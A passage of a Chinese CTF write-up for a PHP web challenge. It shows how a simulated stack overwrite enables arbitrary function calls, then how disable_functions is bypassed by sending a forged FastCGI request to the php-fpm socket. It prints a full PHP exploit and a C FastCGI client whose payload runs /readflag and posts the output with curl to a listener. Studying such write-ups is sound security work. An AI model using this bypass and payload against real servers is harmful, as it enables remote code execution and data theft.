$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

正常的函数返回过程,但是函数执行的需要的参数并不在栈里面,正如前面那行注释说的//no args in my stack haha。 lol

接着看函数调用的过程,函数的地址在eip里面,是前面储存phpinfo的地址。可以看到它是有带参数执行函数的流程的,首先我们要进入这个if, $O00OOO 是模拟函数表里面phpinfo的地址,这个值我们可以在本地计算,在post里面指定一下就行。接着往下走,又从栈里取了一行数据,用在下面for语句判断条件里面,可以想到应该是参数的个数,接着进入for循坏里面,同样是接着从栈里拿数据,当做key值从REQUEST 取值,存到参数数组里面。

看到这里,你可以明了我们可以执行任意函数。分析一下整个过程,我们需要根据栈的大小覆盖调用函数的地址,控制传参。前面说到栈的大小也是ebp-rand()*4 动态分配的,但是整个过程我们是可以在本地计算的。同样我们想要调用的函数地址,也是可以计算拿到的。

接下就是执行/readflag,但是你可能有点绝望,是我绝望了,看一看disable_function禁了哪些函数

1
file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

基本全禁,我都寻思这时不要弄0day上了,这前面的过程我拿到题目是从Team里面的小伙伴手里,我没有去官方上看,而后我去了比赛的官网,看见了官方给的hint

1
run.sh =>#!/bin/sh service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;

这是什么意思呢?开了所有的服务,服务和bypass disable_function有什么联系呢,我开了docker了。一个可以利用的不是本地服务的php-fpm映入我的眼帘,php-fpm服务? 我突然意识到,我知道了,SSRF~

题目中的php 是apache2下的mod_php,php.in仅影响的是 /php7.3/apache2/

fpm是一个新的sapi,熟悉php内核的朋友不会陌生sapi是php的最外层接口。fpm是一个新的接口,有自己的php.ini。不会受apache2下的影响。现在要做的就是SSRF访问fpm的接口。默认的fpm接口是unix 套接字监听。 在docker 下netstat -an 你可以看见fpm的监听状态

1
/run/php/php7.3-fpm.sock

so, 接下来就是建立和fpm的套接字并发送我们执行/readflag的playload

你能找到一个建立连接并发送Post的函数,没有! 所以是多行语句执行,你能getshell吗? 不能,file_put_contents已经被禁用了。这时候别忘了还有inject create_function,我们是可以执行多行语句的,用于ssrf的函数禁了大半,但是仔细检查文件操作类函数,其实还有 stream_socket_client stream_socket_sendto 然后发送一个完整的fastcgi请求:),同时fastcgi 有一个auto_prepend_file字段是可以预加载php文件的。

下面是我完整的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
/**
* Created by PhpStorm.
* User: maple
* Date: 2019/4/29
* Time: 15:29
*/

$seed = time();
srand($seed);
echo "time=".$seed."\n";

define("INS_OFFSET",rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET;

function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}

$func = get_defined_functions()["internal"];

$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);


function handle_data($OOO){
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));

$O0O0 = str_split($OOO,0x000004);//拆分为4字节

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)]; //rand2

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand3

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand4

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

$canary = gen_canary();

$ebp = 0xfffe0000 + rand(0x0000,0xffff);

rand(0,1);

$esp = $ebp - (rand(0x20,0x60)*0x000004);

$func_base = dechex($phpinfo_addr = array_search("var_dump", $plt));//get_defined_vars()

echo "id=".array_search("create_function", $plt)."\n";
echo "func=".$plt[hexdec($func_base)];
//1610653932

//1610653908
$data = "/readflag";

$data=$data.str_repeat("A",$ebp-$esp-strlen($data)-4);

//echo "canary=".$canary."\n";

$data = $data.hex2bin(strrev($canary)); //fill canary

//echo "canary=".strrev(bin2hex(hex2bin(strrev($canary))));


$data = $data."AAAA";
//$data = $data."BBBB";

$data = $data.hex2bin(strrev($func_base)); // fill func_base

//echo "*******".strrev(bin2hex(hex2bin(strrev($func_base))));
$data = $data."0001"."cccc"."dddd";
$body = "data=".urlencode($data);
$data = $data."0002"."cccc"."qqqq";

$body = "data=".urlencode($data);
$body = $body."&".hexdec($func_base)."=1"."&cccc=".urlencode('$a')."&qqqq=".urlencode('}stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,30);$out = base64_decode("AQEAAQAIAAAAAQAAAAAAAA==AQQAAQAuAAAPHVNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZGVjb2RlX2ZpbGUucGhwAQQAAQAUAAAOBFJFUVVFU1RfTUVUSE9EUE9TVL==AQQAAQASAAAOAkNPTlRFTlRfTEVOR1RINzF=AQQAAQAvAAAMIUNPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA==AQQAAQBBAAAJNlBIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dD==AQQAAQAQAAANAURPQ1VNRU5UX1JPT1QvAQQAAQAAAAA=");stream_socket_sendto($fp,$out);fclose($fp);');

$opts = array(

'http' =>array(
'method'=>"POST",
'header' =>"Content-Type: application/x-www-form-urlencoded\r\n", //Cookie: XDEBUG_SESSION=PHPSTORM\r\n
'content' => $body
)

);
$context = stream_context_create($opts);
$res = file_get_contents('http://127.0.0.1:80/decode_file.php',false, $context);
print_r($res);

对于fastcgi请求的构造,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include "fcgi.h"
#include <sys/types.h>
#include <sys/socket.h>

int main()
{
FastCgi_t *c;
c = (FastCgi_t *)malloc(sizeof(FastCgi_t));
char res[99999];
FastCgi_init(c);
setRequestId(c, 1);
startConnect(c);
sendStartRequestRecord(c);

sendParams(c, "SCRIPT_FILENAME", "/var/www/html/decode_file.php");
sendParams(c, "REQUEST_METHOD", "POST");
sendParams(c, "CONTENT_LENGTH", "71"); // 71 为body的长度 !!!!
sendParams(c, "CONTENT_TYPE", "application/x-www-form-urlencoded");
sendParams(c, "PHP_VALUE","allow_url_include = On\nauto_prepend_file = php://input");
sendParams(c, "DOCUMENT_ROOT","/");
sendEndRequestRecord(c);

/*FCGI_Header makeHeader(int type, int requestId,
int contentLength, int paddingLength)*/

FCGI_Header t = makeHeader(FCGI_STDIN, c->requestId_, 71, 0); // 71 为body的长度 !!!!
send(c->sockfd_, &t, sizeof(t), 0);


send(c->sockfd_, "<?php system('/readflag | xargs -i curl 127.0.0.1:9999 -d {}');die();?>", 71, 0); // 71 为body的长度 !!!!


FCGI_Header endHeader;
endHeader = makeHeader(FCGI_STDIN, c->requestId_, 0, 0);
send(c->sockfd_, &endHeader, sizeof(endHeader), 0);

printf("end-----\n");

readFromPhp(c,res);

printf("%s\n",res);

FastCgi_finit(c);
return 0;
}

当然你想怎样构造随你意:) ,上面的fastcgi库在我的github上,连接如下 https://github.com/m4p1e/fastcgi

第一次遇见这样的web题,是我转PWN一个好的过度!

我的Team “漆吴”,名字取自山海经,漆吴山传说是太阳歇息的地方,这个Team 只关于纯粹的热爱,探索,就像古老的山海经的世界一样,神秘,绚丽多彩。欢迎一群志同道合的朋友加入,有兴趣朋友请赶快联系我! maple_#outlook